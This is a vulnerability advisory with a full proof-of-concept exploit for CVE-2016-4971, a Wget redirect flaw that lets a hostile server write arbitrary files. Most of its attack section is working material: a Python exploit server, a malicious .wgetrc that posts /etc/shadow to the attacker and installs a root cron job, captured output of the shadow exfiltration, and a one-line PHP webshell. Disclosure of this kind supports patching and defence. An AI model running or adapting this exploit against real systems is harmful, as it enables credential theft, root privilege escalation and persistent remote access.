GNU Wget < 1.18 - Arbitrary File Upload/Remote Code Execution



EKU-ID: 5672 CVE: 2016-4971 OSVDB-ID:
Author: Dawid Golunski Published: 2016-07-07 Verified: Verified
Download:

Rating

¡î¡î¡î¡î¡î
Home


=============================================
- Release date: 06.07.2016
- Discovered by: Dawid Golunski
- Severity: High
- CVE-2016-4971
=============================================
 
 
I. VULNERABILITY
-------------------------
 
GNU Wget < 1.18       Arbitrary File Upload / Potential Remote Code Execution
 
 
II. BACKGROUND
-------------------------
 
"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and
FTP, the most widely-used Internet protocols.
It is a non-interactive commandline tool, so it may easily be called from
scripts, cron jobs, terminals without X-Windows support, etc.
 
GNU Wget has many features to make retrieving large files or mirroring entire
web or FTP sites easy
"
 
https://www.gnu.org/software/wget/
 
 
III. INTRODUCTION
-------------------------
 
GNU Wget before 1.18 when supplied with a malicious URL (to a malicious or
compromised web server) can be tricked into saving an arbitrary remote file
supplied by an attacker, with arbitrary contents and filename under
the current directory and possibly other directories by writing to .wgetrc.
Depending on the context in which wget is used, this can lead to remote code
execution and even root privilege escalation if wget is run via a root cronjob
as is often the case in many web application deployments.
The vulnerability could also be exploited by well-positioned attackers within
the network who are able to intercept/modify the network traffic.
 
 
IV. DESCRIPTION
-------------------------
 
Because of lack of sufficient controls in wget, when user downloads a file
with wget, such as:
 
wget http://attackers-server/safe_file.txt
 
an attacker who controls the server could make wget create an arbitrary file
with an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect
containing FTP server reference in response to the victim's wget request.
 
For example, if the attacker's server replies with the following response:
 
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache
 
wget will automatically follow the redirect and will download a malicious
.bash_profile file from a malicious FTP server.
It will fail to rename the file to the originally requested filename of
'safe_file.txt' as it would normally do, in case of a redirect to another
HTTP resource with a different name.
 
Because of this vulnerability, an attacker is able to upload an arbitrary file
with an arbitrary filename to the victim's current directory.
 
Execution flow:
 
victim@trusty:~$ wget --version | head -n1
GNU Wget 1.17 built on linux-gnu.
 
victim@trusty:~$ pwd
/home/victim
 
victim@trusty:~$ ls
victim@trusty:~$  
 
victim@trusty:~$ wget http://attackers-server/safe-file.txt
Resolving attackers-server... 192.168.57.1
Connecting to attackers-server|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: ftp://192.168.57.1/.bash_profile [following]
           => ‘.bash_profile’
Connecting to 192.168.57.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE .bash_profile ... 55
==> PASV ... done.    ==> RETR .bash_profile ... done.
Length: 55 (unauthoritative)
 
.bash_profile                                100%[=============================================================================================>]      55  --.-KB/s   in 0s
 
2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55]
 
 
victim@trusty:~$ ls -l
total 4
-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile
victim@trusty:~$
 
 
This vulnerability will not work if extra options that force destination
filename are specified as a paramter. Such as: -O /tmp/output
It is however possible to exploit the issue with mirroring/recursive options
enabled such as -r or -m.
 
Another limitation is that attacker exploiting this vulnerability can only
upload his malicious file to the current directory from which wget was run,
or to a directory specified by -P option (directory_prefix option).
This could however be enough to exploit wget run from home directory, or
within web document root (in which case attacker could write malicious php files
or .bash_profile files).
 
The current directory limitation could also be bypassed by uploading a .wgetrc
config file if wget was run from a home directory.
 
By saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget
settings such as destination directory for all downloaded files in future,
as well as set a proxy setting to make future requests go through a malicious
proxy server belonging to the attackers to which they could send further
malicious responses.
 
 
Here is a set of Wget settings that can be helpful to an attacker:
 
dir_prefix = string
    Top of directory tree‡±the same as ‘-P string’.
 
post_file = file
    Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.
 
recursive = on/off
    Recursive on/off‡±the same as ‘-r’.
 
timestamping = on/off
    Allows to overwrite existing files.
 
cut_dirs = n
    Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).
 
http_proxy
    HTTP Proxy server
 
https_proxy
    HTTPS Proxy server
 
output_document = file
    Set the output filename‡±the same as ‘-O file’.
 
input = file
    Read the URLs from string, like ‘-i file’.
 
metalink-over-http
    Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers.
        Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.
 
 
 
Full list of .wgetrc options can be found in:
 
https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands
 
 
 
V. PROOF OF CONCEPT EXPLOIT
-------------------------
 
 
1) Cronjob with wget scenario
 
Often wget is used inside cronjobs. By default cronjobs run within home
directory of the cronjob owner.
Such wget cronjobs are commonly used with many applications used to download
new version of databases, requesting web scripts that perform scheduled tasks
such as rebuilding indexes, cleaning caches etc.
Here are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on
the Internet with exploitable wget cronjobs:
 
https://codex.wordpress.org/Post_to_your_blog_using_email
https://docs.moodle.org/2x/ca/Cron
http://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site
http://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel
 
Such setup could be abused by attackers to upload .bash_profile file through
wget vulnerability and run commands in the context of the victim user upon
their next log-in.
 
As cron runs priodically attackers, could also write out .wgetrc file in the
first response and then write to /etc/cron.d/malicious-cron in the second.
If a cronjob is run by root, this would give them an almost instant root code
execution.
 
 
It is worth noting that if an attacker had access to local network they could
potentially modify unencrypted HTTP traffic to inject malicious 30X Redirect
responses to wget requests.
 
This issue could also be exploited by attackers who have already gained
access to the server through a web vulnerability to escalate their privileges.
In many cases the cron jobs (as in examples above) are set up to request
various web scripts e.g:
http://localhost/clean-cache.php
 
If the file was writable by apache, and attacker had access to www-data/apache
account, they could modify it to return malicious Location header and exploit
root cronjob that runs the wget request in order to escalate their privileges
to root.
 
 
For simplicity we can assume that attacker already has control over the server
that the victim sends the request to with wget.
 
The root cronjob on the victim server may look as follows:
 
root@victim:~# cat /etc/cron.d/update-database
# Update database file every 2 minutes
*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1
 
 
In order to exploit this setup, attacker first prepares a malicious .wgetrc
and starts an FTP server:
 
attackers-server# mkdir /tmp/ftptest
attackers-server# cd /tmp/ftptest
 
attackers-server# cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_
 
attackers-server# sudo pip install pyftpdlib
attackers-server# python -m pyftpdlib -p21 -w
 
 
At this point attacker can start an HTTP server which will exploit wget by
sending malicious redirects to the victim wget's requests:
  
---[ wget-exploit.py ]---
 
#!/usr/bin/env python
 
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
 
import SimpleHTTPServer
import SocketServer
import socket;
 
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc
 
       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return
 
       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
       self.send_response(301)
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()
 
   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob
 
       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return
 
       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
 
       print "Sending back a cronjob script as a thank-you for the file..."
       print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)
 
       print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
 
       return
 
HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21
 
ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"
 
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
 
print "Ready? Is your FTP server running?"
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)
 
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
 
handler.serve_forever()
 
 
---[ eof ]---
 
 
 
Attacker can run wget-exploit.py and wait a few minutes until the victim's server executes
the aforementioned cronjob with wget.
 
The output should look similar to:
 
 
---[ wget-exploit.py output ]---
 
attackers-server# python ./wget-exploit.py
 
Ready? Is your FTP server running?
FTP found open on 192.168.57.1:21. Let's go then
 
Serving wget exploit on port 80...
 
 
We have a volunteer requesting /database.db by GET :)
 
Uploading .wgetrc via ftp redirect vuln. It should land in /root
 
192.168.57.10 - - [26/Feb/2016 15:03:54] "GET /database.db HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc
 
We have a volunteer requesting /database.db by POST :)
 
Received POST from wget, this should be the extracted /etc/shadow file:
 
---[begin]---
root:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7:::
daemon:*:16484:0:99999:7:::
bin:*:16484:0:99999:7:::
sys:*:16484:0:99999:7:::
sync:*:16484:0:99999:7:::
games:*:16484:0:99999:7:::
man:*:16484:0:99999:7:::
lp:*:16484:0:99999:7:::
...cut...
---[eof]---
 
Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
192.168.57.10 - - [26/Feb/2016 15:05:54] "POST /database.db HTTP/1.1" 200 -
 
File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)
 
---[ output eof ]---
 
 
As we can see .wgetrc got uploaded by the exploit. It has set the post_file
setting to /etc/shadow.
Therefore, on the next wget run, wget sent back shadow file to the attacker.
It also saved the malicious cronjob script (ROOT_CRON variable) which should
create a file named /root/hacked-via-wget, which we can verify on the victim's
server:
 
 
root@victim:~# cat /etc/cron.d/wget-root-shell
* * * * * root /usr/bin/id > /root/hacked-via-wget
 
root@victim:~# cat /root/hacked-via-wget
uid=0(root) gid=0(root) groups=0(root)
 
 
 
2) PHP web application scenario
 
If wget is used within a PHP script e.g.:
 
<?php
 
// Update geoip data
 
  system("wget -N -P geoip http://attackers-host/goeip.db");   
 
?>
 
An attacker who manages to respond to the request could simply upload a PHP
backdoor of:
 
<?php
    //webshell.php
 
    system($_GET['cmd']);
?>
 
by using the wget-exploit script described in example 1.
 
After the upload he could simply execute the script and their shell
command by a GET request to:
 
http://victims-php-host/geoip/webshell.php?cmd=id
 
 
VI. BUSINESS IMPACT
-------------------------
 
Affected versions of wget that connect to untrusted (or compromised) web
servers could be tricked into uploading a file under an arbitrary name, or
even path (if wget is run from a home directory).
Depending on the context in which wget is used, this could lead to
uploading a web shell and granting the attacker access remote access to the
system, or privilege escalation. It could be possible for attackers to escalate
to root user if wget is run via root cronjob as it is often the case in web
application deployments and is recommended in some guides on the Internet.
 
The vulnerability could also be exploited by well-positioned attackers within
the networ who are able to intercept/modify the network traffic.
 
  
VII. SYSTEMS AFFECTED
-------------------------
 
All versions of Wget before the patched version of 1.18 are affected.
  
VIII. SOLUTION
-------------------------
 
Update to wget version 1.18 as advertised by the vendor at:
 
http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
 
Linux distributions should update their wget packages. It is recommended
to update wget manually if an updated package is not available for your
distribution.
  
IX. REFERENCES
-------------------------
 
http://legalhackers.com
 
http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
 
http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
 
http://www.ubuntu.com/usn/usn-3012-1/
 
https://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1
 
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971
 
X. CREDITS
-------------------------
 
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
  
XI. REVISION HISTORY
-------------------------
 
06.07.2016 - Advisory released
  
XII. LEGAL NOTICES
-------------------------
 
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.